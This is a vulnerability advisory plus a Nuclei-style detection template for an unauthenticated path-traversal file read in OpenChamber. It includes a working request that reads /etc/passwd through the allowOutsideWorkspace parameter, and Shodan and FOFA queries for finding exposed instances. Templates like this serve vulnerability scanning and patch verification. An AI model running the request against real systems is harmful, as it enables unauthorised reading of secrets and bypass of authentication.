OpenChamber 1.11.7 contains a path traversal vulnerability in the file-serving endpoints /api/fs/read, /api/fs/stat, and /api/fs/raw that allows unauthenticated remote attackers to read arbitrary files by supplying the allowOutsideWorkspace=true query parameter alongside an absolute path, bypassing the workspace boundary check in resolveReadPathFromContext. Attackers can exploit the vacuous isPathWithinRoot guard to read sensitive files such as the JWT signing secret, SSH private keys, API credentials, and environment variables, enabling full authentication bypass by forging session cookies on password-protected deployments.
PoC
id: CVE-2026-53976
info:
name: OpenChamber <1.13.0 - Unauthenticated Arbitrary File Read
author: str4k3r
severity: critical
description: |
OpenChamber 1.11.7 contains a path traversal vulnerability in the file-serving endpoints /api/fs/read, /api/fs/stat, and /api/fs/raw that allows unauthenticated remote attackers to read arbitrary files by supplying the allowOutsideWorkspace=true query parameter alongside an absolute path, bypassing the workspace boundary check in resolveReadPathFromContext. Attackers can exploit the vacuous isPathWithinRoot guard to read sensitive files such as the JWT signing secret, SSH private keys, API credentials, and environment variables, enabling full authentication bypass by forging session cookies on password-protected deployments.
impact: |
Unauthenticated attackers can read sensitive files and bypass authentication, leading to full system compromise.
remediation: |
Update to the latest version that fixes this vulnerability.
reference:
- https://www.vulncheck.com/advisories/openchamber-path-traversal-file-read-via-allowoutsideworkspace-parameter
- https://github.com/openchamber/openchamber/commit/f1b9506132faf6c564a2694c7f33b94421a49b4a
- https://github.com/openchamber/openchamber
- https://nvd.nist.gov/vuln/detail/CVE-2026-53976
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-53976
epss-score: 0.01899
epss-percentile: 0.78623
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
shodan-query: http.title:"OpenChamber"
product: openchamber
vendor: openchamber
fofa-query: title="OpenChamber"
tags: cve,cve2026,openchamber,lfi,traversal,unauth,oss
http:
- method: GET
path:
- "{{BaseURL}}/api/fs/read?allowOutsideWorkspace=true&path=/etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402205a638b6f97405fb232aed9a0e9781307845bf1f98f05042d4df6d26cccca95c7022056145c68c0d97edd767df596ee189d4fa866addf4db2b24b5c088e225f2b3f42:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.